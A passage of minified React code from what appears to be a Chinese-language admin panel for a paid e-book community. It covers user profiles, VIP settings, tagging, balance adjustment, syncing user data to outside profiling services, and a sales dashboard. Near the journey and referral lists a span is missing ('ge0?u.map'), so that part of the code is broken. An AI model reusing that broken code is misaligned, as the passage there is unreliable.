mr-1"}),"用户资料完善"]})]}),s.jsxs(en,{value:"info",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入手机号",value:T,onChange:pe=>I(pe.target.value),disabled:!!(a!=null&&a.phone)}),(a==null?void 0:a.phone)&&s.jsx("p",{className:"text-xs text-gray-500",children:"编辑时手机号不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入昵称",value:O,onChange:pe=>L(pe.target.value)})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.openId&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"微信 OpenID"}),s.jsx("p",{className:"text-gray-300 font-mono text-xs break-all",children:a.openId})]}),a.region&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(tj,{className:"w-4 h-4 text-gray-500"}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs",children:"地区"}),s.jsx("p",{className:"text-white",children:a.region})]})]}),a.industry&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"行业"}),s.jsx("p",{className:"text-white",children:a.industry})]}),a.position&&s.jsxs("div",{className:"p-3 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"职位"}),s.jsx("p",{className:"text-white",children:a.position})]})]}),s.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"推荐人数"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:a.referralCount??0})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"待提现"}),s.jsxs("p",{className:"text-2xl font-bold text-yellow-400",children:["¥",(a.pendingEarnings??0).toFixed(2)]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg flex flex-col justify-between",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"当前余额"}),s.jsxs("p",{className:"text-2xl font-bold text-[#38bdac]",children:["¥",((f==null?void 0:f.balance)??0).toFixed(2)]})]}),s.jsx(te,{size:"sm",variant:"outline",className:"mt-2 border-[#38bdac]/50 text-[#38bdac] hover:bg-[#38bdac]/10 text-xs",onClick:()=>{Y(""),re(""),le(!0)},children:"调整余额"})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"创建时间"}),s.jsx("p",{className:"text-sm text-white",children:a.createdAt?new Date(a.createdAt).toLocaleDateString():"-"})]})]}),s.jsxs("div",{className:"grid grid-cols-1 md:grid-cols-2 gap-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-gray-700/50",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(ej,{className:"w-4 h-4 text-yellow-400"}),s.jsx("span",{className:"text-white font-medium",children:"修改密码"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"新密码(至少6位)",value:ne,onChange:pe=>fe(pe.target.value)}),s.jsx(se,{type:"password",className:"bg-[#162840] border-gray-700 text-white",placeholder:"确认密码",value:xe,onChange:pe=>$(pe.target.value)}),s.jsx(te,{size:"sm",onClick:Rt,disabled:H||!ne||!xe,className:"bg-yellow-500/20 hover:bg-yellow-500/30 text-yellow-400 border border-yellow-500/40",children:H?"保存中...":"确认修改"})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"设成超级个体"})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-400 text-sm",children:"VIP 会员"}),s.jsx(kt,{checked:P.isVip,onCheckedChange:pe=>K(ge=>({...ge,isVip:pe}))})]}),P.isVip&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"到期日"}),s.jsx(se,{type:"date",className:"bg-[#162840] border-gray-700 text-white text-sm",value:P.vipExpireDate,onChange:pe=>K(ge=>({...ge,vipExpireDate:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"角色"}),s.jsxs("select",{className:"w-full bg-[#162840] border border-gray-700 text-white rounded px-2 py-1.5 text-sm",value:P.vipRole,onChange:pe=>K(ge=>({...ge,vipRole:pe.target.value})),children:[s.jsx("option",{value:"",children:"请选择"}),V.map(pe=>s.jsx("option",{value:pe.name,children:pe.name},pe.id))]})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"展示名"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"创业老板排行展示名",value:P.vipName,onChange:pe=>K(ge=>({...ge,vipName:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"项目"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"如:某某科技",value:P.vipProject,onChange:pe=>K(ge=>({...ge,vipProject:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"联系方式"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"微信/手机等",value:P.vipContact,onChange:pe=>K(ge=>({...ge,vipContact:pe.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"简介"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white text-sm",placeholder:"简短介绍",value:P.vipBio,onChange:pe=>K(ge=>({...ge,vipBio:pe.target.value}))})]})]})]})]}),a.isVip&&s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-amber-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yl,{className:"w-4 h-4 text-amber-400"}),s.jsx("span",{className:"text-white font-medium",children:"VIP 信息"}),s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 border-0 text-xs",children:a.vipRole||"VIP"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3 text-sm",children:[a.vipName&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"展示名:"}),s.jsx("span",{className:"text-white",children:a.vipName})]}),a.vipProject&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"项目:"}),s.jsx("span",{className:"text-white",children:a.vipProject})]}),a.vipContact&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"联系方式:"}),s.jsx("span",{className:"text-white",children:a.vipContact})]}),a.vipExpireDate&&s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"到期时间:"}),s.jsx("span",{className:"text-white",children:new Date(a.vipExpireDate).toLocaleDateString()})]})]}),a.vipBio&&s.jsx("p",{className:"text-gray-400 text-sm mt-2",children:a.vipBio})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg border border-purple-500/20",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(yi,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"微信归属"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"该用户归属在哪个微信号下"})]}),s.jsxs("div",{className:"flex gap-2 items-center",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"输入归属微信号(如 wxid_xxxx)",value:q,onChange:pe=>We(pe.target.value)}),s.jsxs(te,{size:"sm",onClick:async()=>{if(!(!q||!a))try{await zt("/api/db/users",{id:a.id,wechatId:q}),ie.success("已保存微信归属"),Je()}catch{ie.error("保存失败")}},className:"bg-purple-500/20 hover:bg-purple-500/30 text-purple-400 border border-purple-500/30 shrink-0",children:[s.jsx(bn,{className:"w-4 h-4 mr-1"})," 保存"]})]}),a.wechatId&&s.jsxs("p",{className:"text-gray-500 text-xs mt-2",children:["当前归属:",s.jsx("span",{className:"text-purple-400",children:a.wechatId})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Ss,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝同步"})]}),s.jsx(te,{size:"sm",onClick:xt,disabled:N||!a.phone,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:N?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 同步中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1"})," 同步数据"]})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4 text-sm",children:[s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"同步状态:"}),a.ckbSyncedAt?s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 ml-1",children:"已同步"}):s.jsx(qe,{className:"bg-gray-500/20 text-gray-400 border-0 ml-1",children:"未同步"})]}),s.jsxs("div",{children:[s.jsx("span",{className:"text-gray-500",children:"最后同步:"}),s.jsx("span",{className:"text-gray-300 ml-1",children:a.ckbSyncedAt?new Date(a.ckbSyncedAt).toLocaleString():"-"})]})]})]})]}),s.jsxs(en,{value:"tags",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(zc,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户标签"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"基于《一场 Soul 的创业实验》维度打标"})]}),s.jsxs("div",{className:"mb-3 p-2.5 bg-[#38bdac]/5 border border-[#38bdac]/20 rounded-lg flex items-center gap-2 text-xs text-gray-400",children:[s.jsx(Mg,{className:"w-3.5 h-3.5 text-[#38bdac] shrink-0"}),"命中的标签自动高亮 · 系统根据行为轨迹和填写资料自动打标 · 手动点击补充或取消"]}),s.jsx("div",{className:"mb-4 space-y-3",children:[{category:"身份类型",tags:["创业者","打工人","自由职业","学生","投资人","合伙人"]},{category:"行业背景",tags:["电商","内容","传统行业","科技/AI","金融","教育","餐饮"]},{category:"痛点标签",tags:["找资源","找方向","找合伙人","想赚钱","想学习","找情感出口"]},{category:"付费意愿",tags:["高意向","已付费","观望中","薅羊毛"]},{category:"MBTI",tags:["ENTJ","INTJ","ENFP","INFP","ENTP","INTP","ESTJ","ISFJ"]}].map(pe=>s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1.5",children:pe.category}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:pe.tags.map(ge=>s.jsxs("button",{type:"button",onClick:()=>{R.includes(ge)?gt(ge):D([...R,ge])},className:`px-2 py-0.5 rounded text-xs border transition-all ${R.includes(ge)?"bg-[#38bdac]/20 border-[#38bdac]/50 text-[#38bdac]":"bg-transparent border-gray-700 text-gray-500 hover:border-gray-500 hover:text-gray-300"}`,children:[R.includes(ge)?"✓ ":"",ge]},ge))})]},pe.category))}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-3",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"已选标签"}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-3 min-h-[32px]",children:[R.map((pe,ge)=>s.jsxs(qe,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0 pr-1",children:[pe,s.jsx("button",{type:"button",onClick:()=>gt(pe),className:"ml-1 hover:text-red-400",children:s.jsx(ir,{className:"w-3 h-3"})})]},ge)),R.length===0&&s.jsx("span",{className:"text-gray-600 text-sm",children:"暂未选择标签"})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white flex-1",placeholder:"自定义标签(回车添加)",value:_,onChange:pe=>Z(pe.target.value),onKeyDown:pe=>pe.key==="Enter"&&nt()}),s.jsx(te,{onClick:nt,className:"bg-[#38bdac] hover:bg-[#2da396]",children:"添加"})]})]})]}),(()=>{const pe=a.tags||a.ckbTags||"";let ge=[];try{const On=typeof pe=="string"?JSON.parse(pe||"[]"):[];ge=Array.isArray(On)?On:typeof pe=="string"?pe.split(","):[]}catch{ge=typeof pe=="string"?pe.split(","):[]}const Pt=ge.map(On=>String(On).trim()).filter(Boolean);return Pt.length===0?null:s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[s.jsx(zc,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"存客宝标签"})]}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Pt.map((On,Qs)=>s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 border-0",children:On},Qs))})]})})()]}),s.jsxs(en,{value:"journey",className:"flex-1 overflow-auto",children:[s.jsxs("div",{className:"mb-3 p-3 bg-[#0a1628] rounded-lg flex items-center gap-2",children:[s.jsx(ml,{className:"w-4 h-4 text-[#38bdac]"}),s.jsxs("span",{className:"text-gray-400 text-sm",children:["记录用户从注册到付费的完整行动路径,共 ",o.length," 条记录"]})]}),s.jsx("div",{className:"space-y-2",children:o.length>0?o.map((pe,ge)=>s.jsxs("div",{className:"flex items-start gap-3 p-3 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex flex-col items-center",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-[#38bdac]",children:Wr(pe.action)}),ge0?u.map((pe,ge)=>{var On;const Pt=pe;return s.jsxs("div",{className:"flex items-center justify-between p-2 bg-[#162840] rounded",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-6 h-6 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-xs text-[#38bdac]",children:((On=Pt.nickname)==null?void 0:On.charAt(0))||"?"}),s.jsx("span",{className:"text-white text-sm",children:Pt.nickname})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[Pt.status==="vip"&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 border-0 text-xs",children:"已购"}),s.jsx("span",{className:"text-gray-500 text-xs",children:Pt.createdAt?new Date(Pt.createdAt).toLocaleDateString():""})]})]},Pt.id||ge)}):s.jsx("p",{className:"text-gray-500 text-sm text-center py-4",children:"暂无推荐用户"})})]})}),s.jsxs(en,{value:"shensheshou",className:"flex-1 overflow-auto space-y-4",children:[s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(li,{className:"w-5 h-5 text-[#38bdac]"}),s.jsx("span",{className:"text-white font-medium",children:"用户资料完善"}),s.jsx("span",{className:"text-gray-500 text-xs",children:"通过多维度查询神射手数据,自动回填用户基础信息"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-2 mb-3",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"手机号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"11位手机号",value:yt,onChange:pe=>nn(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信号"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"微信 ID",value:In,onChange:pe=>Mt(pe.target.value)})]}),s.jsxs("div",{className:"col-span-2",children:[s.jsx(X,{className:"text-gray-500 text-xs mb-1 block",children:"微信 OpenID"}),s.jsx(se,{className:"bg-[#162840] border-gray-700 text-white",placeholder:"openid_xxxx(自动填入)",value:Yt,onChange:pe=>rn(pe.target.value)})]})]}),s.jsx(te,{onClick:mr,disabled:ye,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white",children:ye?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 查询并自动回填中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(Na,{className:"w-4 h-4 mr-1"})," 查询并自动完善用户资料"]})}),s.jsx("p",{className:"text-gray-600 text-xs mt-2",children:"查询成功后,神射手返回的标签将自动同步到该用户"}),Tt&&s.jsx("div",{className:"mt-3 p-3 bg-red-500/10 border border-red-500/30 rounded-lg text-red-400 text-sm",children:Tt}),Le&&s.jsxs("div",{className:"mt-3 space-y-3",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"神射手 RFM 分"}),s.jsx("p",{className:"text-2xl font-bold text-[#38bdac]",children:Le.rfm_score??"-"})]}),s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"用户等级"}),s.jsx("p",{className:"text-2xl font-bold text-white",children:Le.user_level??"-"})]})]}),Le.tags&&Le.tags.length>0&&s.jsxs("div",{className:"p-3 bg-[#162840] rounded-lg",children:[s.jsx("p",{className:"text-gray-500 text-xs mb-2",children:"神射手标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:Le.tags.map((pe,ge)=>s.jsx(qe,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/20",children:pe},ge))})]}),Le.last_active&&s.jsxs("div",{className:"text-sm text-gray-500",children:["最近活跃:",Le.last_active]})]})]}),s.jsxs("div",{className:"p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center justify-between mb-3",children:[s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2 mb-1",children:[s.jsx(li,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"推送用户数据到神射手"})]}),s.jsx("p",{className:"text-gray-500 text-xs",children:"将本用户信息(手机号、昵称、标签等)同步至神射手,自动完善用户画像"})]}),s.jsx(te,{onClick:As,disabled:Rn||!a.phone,variant:"outline",className:"border-purple-500/40 text-purple-400 hover:bg-purple-500/10 bg-transparent shrink-0 ml-4",children:Rn?s.jsxs(s.Fragment,{children:[s.jsx(Ke,{className:"w-4 h-4 mr-1 animate-spin"})," 推送中"]}):s.jsxs(s.Fragment,{children:[s.jsx(li,{className:"w-4 h-4 mr-1"})," 推送"]})})]}),!a.phone&&s.jsx("p",{className:"text-yellow-500/70 text-xs",children:"⚠ 用户未绑定手机号,无法推送"}),Pn&&s.jsx("div",{className:"mt-3 p-3 bg-[#162840] rounded-lg text-sm",children:Pn.error?s.jsx("p",{className:"text-red-400",children:String(Pn.error)}):s.jsxs("div",{className:"space-y-1",children:[s.jsxs("p",{className:"text-green-400 flex items-center gap-1",children:[s.jsx(Mg,{className:"w-4 h-4"})," 推送成功"]}),Pn.enriched!==void 0&&s.jsxs("p",{className:"text-gray-400",children:["自动补全标签数:",String(Pn.new_tags_added??0)]})]})})]})]})]}),s.jsxs("div",{className:"flex justify-end gap-2 pt-3 border-t border-gray-700 mt-3",children:[s.jsxs(te,{variant:"outline",onClick:e,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"关闭"]}),s.jsxs(te,{onClick:ct,disabled:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),v?"保存中...":"保存修改"]})]})]}):s.jsx("div",{className:"text-center py-12 text-gray-500",children:"用户不存在"})]})}),s.jsx(Dt,{open:U,onOpenChange:le,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{children:"调整余额"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"调整金额(元)"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"正数增加,负数扣减,如 10 或 -5",value:J,onChange:pe=>Y(pe.target.value)})]}),s.jsxs("div",{children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"备注(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white mt-1",placeholder:"如:活动补偿",value:B,onChange:pe=>re(pe.target.value)})]})]}),s.jsxs("div",{className:"flex justify-end gap-2",children:[s.jsx(te,{variant:"outline",onClick:()=>le(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:gn,disabled:ue,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:ue?"提交中...":"确认调整"})]})]})})]}):null}function hP(){const t=Ci(),[e,n]=b.useState(!0),[r,a]=b.useState(!0),[i,o]=b.useState(!0),[c,u]=b.useState([]),[h,f]=b.useState([]),[m,g]=b.useState(0),[y,N]=b.useState(0),[w,v]=b.useState(0),[k,C]=b.useState(0),[E,T]=b.useState(null),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,_]=b.useState(0),[Z,ne]=b.useState(!1),[fe,xe]=b.useState("week"),[$,H]=b.useState(null),[oe,P]=b.useState(!1),K=Y=>{const B=Y;if((B==null?void 0:B.status)===401)T("登录已过期,请重新登录");else{if((B==null?void 0:B.name)==="AbortError")return;T("加载失败,请检查网络或联系管理员")}};async function V(Y){const B=Y?{signal:Y}:void 0;n(!0),T(null);try{const ce=await De("/api/admin/dashboard/stats",B);ce!=null&&ce.success&&(g(ce.totalUsers??0),N(ce.paidOrderCount??0),v(ce.totalRevenue??0),C(ce.conversionRate??0))}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError"){console.error("stats 失败,尝试 overview 降级",ce);try{const ye=await De("/api/admin/dashboard/overview",B);ye!=null&&ye.success&&(g(ye.totalUsers??0),N(ye.paidOrderCount??0),v(ye.totalRevenue??0),C(ye.conversionRate??0))}catch(ye){K(ye)}}}finally{n(!1)}try{const ce=await De("/api/admin/balance/summary",B);ce!=null&&ce.success&&ce.data&&_(ce.data.totalGifted??0)}catch{}a(!0),o(!0);const re=async()=>{try{const ce=await De("/api/admin/dashboard/recent-orders?limit=10",B);if(ce!=null&&ce.success&&ce.recentOrders)f(ce.recentOrders);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/admin/orders?page=1&pageSize=20&status=paid",B),Le=((ye==null?void 0:ye.orders)??[]).filter(lt=>["paid","completed","success"].includes(lt.status||""));f(Le.slice(0,5))}catch{f([])}}finally{a(!1)}},ue=async()=>{try{const ce=await De("/api/admin/dashboard/new-users",B);if(ce!=null&&ce.success&&ce.newUsers)u(ce.newUsers);else throw new Error("no data")}catch(ce){if((ce==null?void 0:ce.name)!=="AbortError")try{const ye=await De("/api/db/users?page=1&pageSize=10",B);u((ye==null?void 0:ye.users)??[])}catch{u([])}}finally{o(!1)}};await Promise.all([re(),ue()])}async function z(Y){const B=Y||fe;P(!0);try{const re=await De(`/api/admin/track/stats?period=${B}`);re!=null&&re.success&&H({total:re.total??0,byModule:re.byModule??{}})}catch{H(null)}finally{P(!1)}}b.useEffect(()=>{const Y=new AbortController;V(Y.signal),z();const B=setInterval(()=>{V(),z()},3e4);return()=>{Y.abort(),clearInterval(B)}},[]);const U=m,le=Y=>{const B=Y.productType||"",re=Y.description||"";if(B==="balance_recharge")return{title:`余额充值 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"余额充值"};if(B==="gift_pay")return{title:`代付 ¥${typeof Y.amount=="number"?Y.amount.toFixed(2):parseFloat(String(Y.amount||"0")).toFixed(2)}`,subtitle:"好友代付"};if(re){if(B==="section"&&re.includes("章节")){if(re.includes("-")){const ue=re.split("-");if(ue.length>=3)return{title:`第${ue[1]}章 第${ue[2]}节`,subtitle:"《一场Soul的创业实验》"}}return{title:re,subtitle:"章节购买"}}return B==="fullbook"||re.includes("全书")?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:B==="vip"||re.includes("VIP")?{title:"超级个体开通费用",subtitle:"超级个体"}:B==="match"||re.includes("伙伴")?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:re,subtitle:B==="section"?"单章":B==="fullbook"?"全书":"其他"}}return B==="section"?{title:`章节 ${Y.productId||""}`,subtitle:"单章购买"}:B==="fullbook"?{title:"《一场Soul的创业实验》",subtitle:"全书购买"}:B==="vip"?{title:"超级个体开通费用",subtitle:"超级个体"}:B==="match"?{title:"找伙伴匹配",subtitle:"功能服务"}:{title:"未知商品",subtitle:B||"其他"}},J=[{title:"总用户数",value:e?null:U,sub:null,icon:Zn,color:"text-blue-400",bg:"bg-blue-500/20",link:"/users"},{title:"总收入",value:e?null:`¥${(w??0).toFixed(2)}`,sub:D>0?`含代付 ¥${D.toFixed(2)}`:null,icon:$c,color:"text-[#38bdac]",bg:"bg-[#38bdac]/20",link:"/orders"},{title:"订单数",value:e?null:y,sub:null,icon:Og,color:"text-purple-400",bg:"bg-purple-500/20",link:"/orders"},{title:"转化率",value:e?null:`${typeof k=="number"?k.toFixed(1):0}%`,sub:null,icon:Br,color:"text-orange-400",bg:"bg-orange-500/20",link:"/distribution"}];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("h1",{className:"text-2xl font-bold mb-8 text-white",children:"数据概览"}),E&&s.jsxs("div",{className:"mb-6 px-4 py-3 rounded-lg bg-amber-500/20 border border-amber-500/50 text-amber-200 text-sm flex items-center justify-between",children:[s.jsx("span",{children:E}),s.jsx("button",{type:"button",onClick:()=>V(),className:"text-amber-400 hover:text-amber-300 underline",children:"重试"})]}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8",children:J.map((Y,B)=>s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl cursor-pointer hover:border-[#38bdac]/50 transition-colors group",onClick:()=>Y.link&&t(Y.link),children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsx(Qe,{className:"text-sm font-medium text-gray-400",children:Y.title}),s.jsx("div",{className:`p-2 rounded-lg ${Y.bg}`,children:s.jsx(Y.icon,{className:`w-4 h-4 ${Y.color}`})})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{children:[s.jsx("div",{className:"text-2xl font-bold text-white min-h-8 flex items-center",children:Y.value!=null?Y.value:s.jsxs("span",{className:"inline-flex items-center gap-2 text-gray-500",children:[s.jsx(Ke,{className:"w-4 h-4 animate-spin"}),"加载中"]})}),Y.sub&&s.jsx("p",{className:"text-xs text-gray-500 mt-1",children:Y.sub})]}),s.jsx(pl,{className:"w-5 h-5 text-gray-600 group-hover:text-[#38bdac] transition-colors"})]})})]},B))}),s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-2 gap-8",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between",children:[s.jsx(Qe,{className:"text-white",children:"最近订单"}),s.jsxs("button",{type:"button",onClick:()=>V(),disabled:r||i,className:"text-xs text-gray-400 hover:text-[#38bdac] flex items-center gap-1 disabled:opacity-50",title:"刷新",children:[r||i?s.jsx(Ke,{className:"w-3.5 h-3.5 animate-spin"}):s.jsx(Ke,{className:"w-3.5 h-3.5"}),"刷新(每 30 秒自动更新)"]})]}),s.jsx(Ee,{children:s.jsx("div",{className:"space-y-3",children:r&&h.length===0?s.jsxs("div",{className:"flex flex-col items-center justify-center py-12 text-gray-500",children:[s.jsx(Ke,{className:"w-8 h-8 animate-spin mb-2"}),s.jsx("span",{className:"text-sm",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[h.slice(0,Z?10:4).map(Y=>{var ye;const B=Y.referrerId?c.find(Re=>Re.id===Y.referrerId):void 0,re=Y.referralCode||(B==null?void 0:B.referralCode)||(B==null?void 0:B.nickname)||(Y.referrerId?String(Y.referrerId).slice(0,8):""),ue=le(Y),ce=Y.userNickname||((ye=c.find(Re=>Re.id===Y.userId))==null?void 0:ye.nickname)||"匿名用户";return s.jsxs("div",{className:"flex items-start justify-between p-4 bg-[#0a1628] rounded-lg border border-gray-700/30 hover:border-[#38bdac]/30 transition-colors",children:[s.jsxs("div",{className:"flex items-start gap-3 flex-1",children:[Y.userAvatar?s.jsx("img",{src:Y.userAvatar,alt:ce,className:"w-9 h-9 rounded-full object-cover flex-shrink-0 mt-0.5",onError:Re=>{Re.currentTarget.style.display="none";const Le=Re.currentTarget.nextElementSibling;Le&&Le.classList.remove("hidden")}}):null,s.jsx("div",{className:`w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 mt-0.5 